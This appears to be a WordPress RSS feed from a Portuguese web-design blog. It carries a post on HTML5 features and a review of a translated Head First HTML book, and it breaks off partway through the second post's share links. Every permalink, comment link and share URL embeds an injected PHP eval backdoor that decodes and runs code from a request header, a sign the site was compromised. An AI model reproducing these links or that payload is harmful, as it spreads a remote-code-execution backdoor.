<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Not For Dummies &#187; Web Design</title>
	<atom:link href="http://3folks.com/notfordummies/category/web-design/feed/" rel="self" type="application/rss+xml" />
	<link>http://3folks.com/notfordummies</link>
	<description>Além do Hello World</description>
	<lastBuildDate>Fri, 03 Apr 2009 13:41:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Conheça o maravilhoso mundo do HTML 5</title>
		<link>http://3folks.com/notfordummies/2009/04/02/conheca-o-maravilhoso-mundo-do-html-5/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/04/02/conheca-o-maravilhoso-mundo-do-html-5/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 09:25:05 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[w3c]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=243</guid>
		<description><![CDATA[Pra fechar minha série de posts sobre os substitutos do HTML, vou falar agora do HTML 5, desenvolvido por um grupo liderado pela Apple, Opera e Mozilla. Senta que lá vem história texto.
Se você chegou agora, pode ser interessante ler meus textos anteriores sobre o assunto:

XHTML2, HTML5 e outras coisas futuristas
As Mudanças do XHTML 2.0

A [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Pra fechar minha série de posts sobre os substitutos do HTML, vou falar agora do HTML 5, desenvolvido por um grupo liderado pela Apple, Opera e Mozilla. Senta que lá vem <span style="text-decoration: line-through;">história</span> texto.</p>
<p>Se você chegou agora, pode ser interessante ler meus textos anteriores sobre o assunto:</p>
<ul>
<li><a title="Resumo e comparação das duas linguagens" href="http://3folks.com/notfordummies/web-design/xhtml2-html5-e-outras-coisas-futuristicas">XHTML2, HTML5 e outras coisas futuristas</a></li>
<li><a title="Saiba mais sobre o XHTML 2.0" href="http://3folks.com/notfordummies/web-design/as-mudancas-do-xhtml-20">As Mudanças do XHTML 2.0</a></li>
</ul>
<p>A primeira coisa que preciso dizer é em que o HTML 5 é diferente do XHTML 2. Sua maior preocupação não é separar definitivamente o conteúdo da apresentação. O HTML 5 é feito para ser uma linguagem de desenvolvimento de aplicações online. Nada de se preocupar com XML, nada de evitar usar um elemento só porque ele também interfere na aparência do conteúdo.</p>
<h3><strong>Pro inferno com as frescuras, eu quero é sites bons.</strong></h3>
<p>Esta nova versão do HTML começou a ser desenvolvida em um grupo fora do grande W3C. Fizeram isso justamente porque o W3C estava <strong>demorando demais</strong> pra criar uma nova versão (0 xhtml 1.0 foi publicado em 2000) e eles estavam trabalhando em algo que não resolvia os problemas dos sites ricos que temos hoje em dia.</p>
<p>O HTML 5 é feito para facilitar o desenvolvimento de <strong>aplicações web</strong> (e não apenas sites simples) e padronizar as coisas em todos os browsers.</p>
<p>Vamos ver todas as coisas legais que o HTML 5 traz pra nós.</p>
<h3>Elementos estruturais</h3>
<p>Aquele monte de &lt;div&gt; que a gente usa pra montar a estrutura do site vai ter um bom substituto agora. Pra facilitar uma padronização e permitir que os elementos tenham significado, criaram vários elementos estruturais que vão funcionar como o &lt;div&gt;, mas cada um com seu próposito.</p>
<p>Por exemplo, teremos o &lt;header&gt; para criar o cabeçalho do site (geralmente onde fica o logotipo, etc). Temos o &lt;nav&gt; para definir o menu de navegação, &lt;article&gt; para colocar o conteúdo principal do site, &lt;aside&gt; pra criar uma seção lateral, e &lt;footer&gt; pro rodapé.</p>
<div id="attachment_244" class="wp-caption aligncenter" style="width: 508px"><a href="http://3folks.com/notfordummies/wp-content/uploads/2009/03/estrutura_html5.jpg"><img class="size-full wp-image-244" title="HTML 5" src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/estrutura_html5.jpg" alt="Estrutura de um site padrão" width="498" height="360" /></a><p class="wp-caption-text">Estrutura de um site padrão</p></div>
<h3><span id="more-243"></span></h3>
<h3>Novas tags multimídia!</h3>
<p>Em vez de fazer como no XHTML 2, onde tem uma única tag bizarra para exibir conteúdo multimídia, o HTML 5 preza por uma solução mais óbvia e mais fácil.</p>
<p>Para tocar som, você tem a tag &lt;audio&gt;. E o negócio ainda é tão bem feito que dentro da própria tag você passa uns parâmetros para definir se começa a tocar sozinho, e até se o browser vai exibir controles (play, pause, etc). Se o browser não suportar html 5, aparece o texto interno.</p>
<pre>&lt;audio src="musica.ogg" autoplay control&gt;
    Você não tem HTML 5, bobão, então faça &lt;a href="musica.ogg"&gt;download&lt;/a&gt; da música.
&lt;/audio&gt;</pre>
<p>E vídeo, então, que maravilha! Se antes você tinha que usar a tag &lt;object&gt; cheia de parâmetros, agora basta usar a tag &lt;video&gt;. Você pode definir largura e altura, e também definir se quer autoplay (iniciar automaticamente) ou se quer exibir os controles. Você pode até mesmo definir pro vídeo ficar passando em loop, se quiser fazer lavagem cerebral em alguém.</p>
<pre>&lt;video src="lavagemcerebral.ogg" autoplay loop&gt;
    Quem não tem HTML 5, saia pela segunda porta à direita.
&lt;/video&gt;</pre>
<p><strong>E quem cuida de exibir o vídeo? O browser!</strong> Por padrão, o codec de vídeo vem dentro do próprio browser e todos os usuários poderão assistir, independente de que browser ou sistema operacional eles usam. <strong>E sem ter que baixar plugin!</strong></p>
<h3>Você pode brincar de desenhar</h3>
<p>O novo elemento &lt;canvas&gt; permite que você escreva código que desenha na tela em tempo real. Isso é muito interessante pra criar gráficos, por exemplo. Imagina o Google Analytics sem precisar de flash.</p>
<p>E não só desenhar, mas redesenhar, modificar desenhos, mover os desenhos. Alguém poderia escrever um jogo com elementos se mexendo, usando o canvas. Sem precisar de flash.</p>
<h3>E tem a correção de erros!</h3>
<p>Além de tudo isso, uma parte muito importante da especificação do HTML 5 é que ele diz aos navegadores como eles vão tratar um código que esteja errado.</p>
<p>A grande maioria dos sites na internet tem um código muito mal feito. Você só é capaz de ver &#8220;corretamente&#8221; o conteúdo desses sites porque todos os browsers possuem um poderoso motor de correção de código. Esse motor vê aquele código capenga, que não valida nem com HTML 4.01, e tenta &#8220;<strong>deduzir</strong>&#8221; o que o desenvolvedor quis fazer. O maior problema é que cada browser deduz as coisas de um jeito diferente.</p>
<p>O HTML 5, além de trazer todas essas maravilhas, traz uma série bem específica de regras para os navegadores deduzirem aquele código bizarro e malformado. Assim há uma garantia de que até esse código ruim vai ser exibido da mesma forma em todos os navegadores.</p>
<h3>Mas esperem sentados&#8230;</h3>
<p>Se você também ficou animado com as possibilidades (e olha que nem falei todas), aí vem o banho de água fria: vai demorar! A versão final do <strong>HTML 5 </strong>não fica pronta esse ano. E nem no ano que vem.</p>
<p>E mesmo depois de sair a versão final, temos um <strong>enorme problema</strong> chamado Internet Explorer. Não poderemos usar os novos recursos em sites sérios, até que o Internet Explorer dê um suporte decente à linguagem.</p>
<p>Sendo <strong>otimista</strong>, eu diria que lá pra 2025 vamos poder usar a linguagem.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Redes Sociais:</strong>
</div>
<ul>
	<li><a rel="nofollow" href="http://del.icio.us/post?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F04%2F02%2Fconheca-o-maravilhoso-mundo-do-html-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Conhe%C3%A7a%20o%20maravilhoso%20mundo%20do%20HTML%205" title="del.icio.us"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://twitter.com/home?status=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F04%2F02%2Fconheca-o-maravilhoso-mundo-do-html-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="TwitThis"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/twitter.gif" title="TwitThis" alt="TwitThis" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F04%2F02%2Fconheca-o-maravilhoso-mundo-do-html-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Conhe%C3%A7a%20o%20maravilhoso%20mundo%20do%20HTML%205" title="Google"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/googlebookmark.png" title="Google" alt="Google" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="mailto:?subject=Conhe%C3%A7a%20o%20maravilhoso%20mundo%20do%20HTML%205&amp;body=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F04%2F02%2Fconheca-o-maravilhoso-mundo-do-html-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="E-mail this story to a friend!"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/email_link.png" title="E-mail this story to a friend!" alt="E-mail this story to a friend!" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.syxt.com.br/rec6/link.php?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F04%2F02%2Fconheca-o-maravilhoso-mundo-do-html-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;=Conhe%C3%A7a%20o%20maravilhoso%20mundo%20do%20HTML%205" title="Rec6"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/rec6.gif" title="Rec6" alt="Rec6" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F04%2F02%2Fconheca-o-maravilhoso-mundo-do-html-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Conhe%C3%A7a%20o%20maravilhoso%20mundo%20do%20HTML%205" title="StumbleUpon"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F04%2F02%2Fconheca-o-maravilhoso-mundo-do-html-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="Technorati"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/technorati.png" title="Technorati" alt="Technorati" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F04%2F02%2Fconheca-o-maravilhoso-mundo-do-html-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Conhe%C3%A7a%20o%20maravilhoso%20mundo%20do%20HTML%205&amp;source=Not+For+Dummies+Al%C3%A9m+do+Hello+World&amp;summary=Pra%20fechar%20minha%20s%C3%A9rie%20de%20posts%20sobre%20os%20substitutos%20do%20HTML%2C%20vou%20falar%20agora%20do%20HTML%205%2C%20desenvolvido%20por%20um%20grupo%20liderado%20pela%20Apple%2C%20Opera%20e%20Mozilla.%20Senta%20que%20l%C3%A1%20vem%20hist%C3%B3ria%20texto.%0D%0A%0D%0ASe%20voc%C3%AA%20chegou%20agora%2C%20pode%20ser%20interessante%20ler%20meus%20text" title="LinkedIn"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F04%2F02%2Fconheca-o-maravilhoso-mundo-do-html-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Conhe%C3%A7a%20o%20maravilhoso%20mundo%20do%20HTML%205" title="Facebook"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F04%2F02%2Fconheca-o-maravilhoso-mundo-do-html-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Conhe%C3%A7a%20o%20maravilhoso%20mundo%20do%20HTML%205" title="Live"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/live.png" title="Live" alt="Live" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F04%2F02%2Fconheca-o-maravilhoso-mundo-do-html-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Conhe%C3%A7a%20o%20maravilhoso%20mundo%20do%20HTML%205" title="MySpace"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/myspace.png" title="MySpace" alt="MySpace" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.tumblr.com/share?v=3&amp;u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F04%2F02%2Fconheca-o-maravilhoso-mundo-do-html-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Conhe%C3%A7a%20o%20maravilhoso%20mundo%20do%20HTML%205&amp;s=" title="Tumblr"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/tumblr.gif" title="Tumblr" alt="Tumblr" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/04/02/conheca-o-maravilhoso-mundo-do-html-5/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Use a Cabeça! (Head First) HTML com CSS &amp; XHTML</title>
		<link>http://3folks.com/notfordummies/2009/03/31/use-a-cabeca-head-first-html-com-css-xhtml/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/31/use-a-cabeca-head-first-html-com-css-xhtml/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 11:32:03 +0000</pubDate>
		<dc:creator>elomarns</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[head first]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[livro]]></category>
		<category><![CDATA[use a cabeça]]></category>
		<category><![CDATA[xhtml]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=257</guid>
		<description><![CDATA[Há um bom tempo atrás eu comprei o livro Use a Cabeça! (Head First) HTML com CSS &#038; XHTML, e apesar de já ter começado a lê-lo várias vezes, somente no início desse ano eu tomei vergonha na cara e o li do início ao fim. Sendo assim, aqui está a minha opinião sobre o [...]


Posts Relacionados:<ol><li><a href='http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Organizando seu código CSS'>Organizando seu código CSS</a></li></ol>]]></description>
			<content:encoded><![CDATA[<div id="attachment_256" class="wp-caption alignleft" style="width: 210px"><img src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/use-a-cabeca-html-com-css-xhtml-capa.jpg" alt="Use a Cabeça (Head First) HTML COM CSS &amp; XHTML" title="Use a Cabeça (Head First) HTML COM CSS &amp; XHTML" width="200" height="270" class="size-full wp-image-256" float = "left" /><p class="wp-caption-text">Use a Cabeça! (Head First) HTML com CSS &#038; XHTML</p></div>
<p style = "text-align: justify">Há um bom tempo atrás eu comprei o livro <strong>Use a Cabeça! (Head First) HTML com CSS &#038; XHTML</strong>, e apesar de já ter começado a lê-lo várias vezes, somente no início desse ano eu tomei vergonha na cara e o li do início ao fim. Sendo assim, aqui está a minha opinião sobre o livro.</p>
<p style = "text-align: justify">Assim como os demais títulos da <strong>série Use a Cabeça</strong>, esse livro tem uma <strong>abordagem bastante inteligente, focada num texto fácil e extremamente agradável de ler</strong>. Esta característica, combinada com algumas outras, faz com que o nosso cérebro preste mais atenção no conteúdo, além de aumentar as chances de memorização, conforme os livros da série explicam em seus capítulos introdutórios.</p>
<p style = "text-align: justify">Outra tática inteligente do livro é dar <strong>exemplos para cada novo tópico apresentado</strong>, só que limitando o escopo, de forma que os exemplos sejam bem simples e diretos. Isso evita que o leitor fique cansado lendo longos exemplos onde apenas um pequeno trecho é realmente relevante.</p>
<p style = "text-align: justify">Essa abordagem mais direta também é aplicada nos exercícios, que aparecem com razoável frequência, mas sempre bem focados no tópico que está sendo discutido no momento. Além disso, <strong>muitos dos exercícios são divertidos, e o obrigam a pensar fora da caixa</strong>, principalmente os exercícios de palavras cruzadas, presente em quase todos os capítulos.</p>
<p style = "text-align: justify">Uma outra característica que torna o livro mais eficiente na tarefa de ensinar o conteúdo é o fato dele ser redundante sobre muitas coisas importantes. Dessa forma, <strong>alguns tópicos são apresentados mais de uma vez</strong>, só que em contextos e de formas diferentes, muitas vezes adicionando uma pequena novidade, e facilitando que o assunto em questão seja memorizado através da ocorrência repetida.</p>
<p style = "text-align: justify">Ainda sobre a didática do livro, é interessante notar que a série segue essa fórmula não porque está dando certo, ou baseada em achismo, mas porque estudos relacionados a metacognição indicam que <strong>as técnicas de apresentação de conteúdo usadas no livro estão entre as mais eficientes</strong>.</p>
<p style = "text-align: justify">Em relação ao conteúdo propriamente dito, <strong>é impossível não destacar positivamente a preocupação do livro em focar desde o início a separação da estrutura e da apresentação de uma página Web</strong>. Para ter uma idéia do quão engajados eles são em relação a este assunto, já no capítulo que explica sobre a metodologia da série, ou seja, antes mesmo do primeiro capítulo com conteúdo sobre <strong>HTML, XHTML e CSS</strong>, há uma breve e clara explicação sobre a função dessas tecnologias.</p>
<p style = "text-align: justify">Adicionalmente, o livro menciona com frequência que devem ser utilizados os elementos do HTML/XHTML que melhor representarem o conteúdo que está sendo marcado, enfatizando assim a importância da <strong>semântica</strong> no desenvolvimento de uma página Web.</p>
<p style = "text-align: justify">No entanto, nada é perfeito, e este livro não é diferente. Pra começar, <strong>a tradução é péssima</strong>. A <a href="http://www.altabooks.com.br/" title="Página Inicial do Site da Editora Alta Books">Alta Books</a>, que é a editora do livro, fez um trabalho extremamente descuidado na tradução, o que não me surpreendeu, já que o único outro livro traduzido que eu tenho deles, o <a href="http://altabooks.tempsite.ws/product_info.php?products_id=176&#038;osCsid=osmad5qdida0rrnqfems9bgtj3" title="Página do Livro Use a Cabeça! Java no site da Alta Books">Use a Cabeça! Java</a>, também tem uma tradução sofrível.</p>
<p style = "text-align: justify">Aliás, ao meu ver, este é o maior defeito do livro, pois realmente<strong> complica a compreensão do texto por parte de quem não sabe nada sobre HTML, XHTML e CSS</strong>, sendo que este é exatamente o público alvo do livro. Como exemplo deste péssimo trabalho de tradução, eu posso citar nomes de elementos sendo traduzidos, sendo o elemento <em>head</em> o campeão no número de ocorrências.</p>
<p style = "text-align: justify">Outro erro bizarro está nos exemplos de regras do CSS. A extrema maioria delas não possuem um par de chaves tradicional, ou seja, <em>{</em> e <em>}</em>, e sim um bizonho par de chaves <em>{</em> e <em>{</em>. Exemplo:</p>
<pre name="code" class="css">
p
{
  color: maroon;
{
</pre>
<p style = "text-align: justify">O exemplo acima foi tirado do próprio livro, no capítulo que começa a explicar o CSS. Ou seja, quem nunca ouvir falar sobre a linguagem vai ficar bem confuso sobre a forma correta de combinar as chaves. E o mais curioso é que a versão original do livro não contém estes erros, portanto, <strong>a Alta Books fez besteira até onde nem precisava traduzir</strong>.</p>
<p style = "text-align: justify">Contudo, nem todos os defeitos do livro são culpa da <a href="http://www.altabooks.com.br/" title="Página Inicial do Site da Editora Alta Books">Alta Books</a>, uma vez que<strong> há também alguns poucos deslizes na versão original em inglês</strong>. Por exemplo, o livro usa com certa frequência o elemento <em>&lt;br /&gt;</em>, o que, ao me ver, é errado, uma vez que este elemento insera uma quebra de linha, o que caracteriza uma função relacionada a apresentação, não representando absolutamente nada em relação à semântica da página Web. </p>
<p style = "text-align: justify">Outro erro relacionado ao uso incorreto de um elemento no que diz respeito a <strong>semântica</strong> está presente no exemplo abaixo:</p>
<pre name="code" class="xhtml">
  &lt;h1&gt;BEVERAGES&lt;/h1&gt;

  &lt;p&gt;House Blend, $1.49&lt;/p&gt;

  &lt;p&gt;Mocha Cafe Latte, $2.35&lt;/p&gt;

  &lt;p&gt;Cappuccino, $1.89&lt;/p&gt;

  &lt;p&gt;Chai Tea, $1.85&lt;/p&gt;
</pre>
<p style = "text-align: justify">Neste caso, novamente de acordo com a minha opinião, há vários elementos <em>p</em> sendo usados para representar itens de uma lista, portanto o correto seria envolver toda a lista com o elemento <em>ul</em>, que representa listas não ordenadas, e então usar o elemento para itens de lista, <em>li</em>, para cada bebida individual. O resultado seria esse:</p>
<pre name="code" class="xhtml">
  &lt;h1&gt;BEVERAGES&lt;/h1&gt;

  &lt;ol&gt;
    &lt;li&gt;House Blend, $1.49&lt;/li&gt;
    &lt;li&gt;Mocha Cafe Latte, $2.35&lt;/li&gt;
    &lt;li&gt;Cappuccino, $1.89&lt;/li&gt;
    &lt;li&gt;Chai Tea, $1.85&lt;/li&gt;
  &lt;/ol&gt;
</pre>
<p style = "text-align: justify">Mas nesse caso podemos deixar passar, já que na verdade este exemplo está presente na <a href="http://www.headfirstlabs.com/books/hfhtml/" title="Página de Recursos do livro Head First HTML with CSS &#038; XHTML">página de recursos do livro</a>.</p>
<p style = "text-align: justify">Enfim, <strong>o Use a Cabeça! (Head First) HTML com CSS &#038; XHTML é um excelente livro</strong>. Ainda que ele cometa alguns poucos deslizes, é de longe o melhor livro que eu conheço para quem quer aprender <strong>HTML, XHTML e CSS</strong>, uma vez que ensina desde o início a desenvolver páginas Web da maneira correta: usando o HTML ou XHTML para estruturar o conteúdo da página, respeitando a semântica de cada elemento, e definindo a apresentaçao através do CSS.</p>
<p style = "text-align: justify">P.S.: Uma dica para quem se interresou pelo livro: <strong> compre a versão original</strong> e se livre de uma péssima tradução.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Redes Sociais:</strong>
</div>
<ul>
	<li><a rel="nofollow" href="http://del.icio.us/post?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="del.icio.us"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://twitter.com/home?status=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="TwitThis"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/twitter.gif" title="TwitThis" alt="TwitThis" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="Google"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/googlebookmark.png" title="Google" alt="Google" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="mailto:?subject=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML&amp;body=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="E-mail this story to a friend!"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/email_link.png" title="E-mail this story to a friend!" alt="E-mail this story to a friend!" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.syxt.com.br/rec6/link.php?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="Rec6"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/rec6.gif" title="Rec6" alt="Rec6" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="StumbleUpon"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="Technorati"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/technorati.png" title="Technorati" alt="Technorati" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML&amp;source=Not+For+Dummies+Al%C3%A9m+do+Hello+World&amp;summary=%0AH%C3%A1%20um%20bom%20tempo%20atr%C3%A1s%20eu%20comprei%20o%20livro%20Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML%2C%20e%20apesar%20de%20j%C3%A1%20ter%20come%C3%A7ado%20a%20l%C3%AA-lo%20v%C3%A1rias%20vezes%2C%20somente%20no%20in%C3%ADcio%20desse%20ano%20eu%20tomei%20vergonha%20na%20cara%20e%20o%20li%20do%20in%C3%ADcio%20ao%20fim.%20Sendo%20assim%2C%20aqui%20est" title="LinkedIn"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
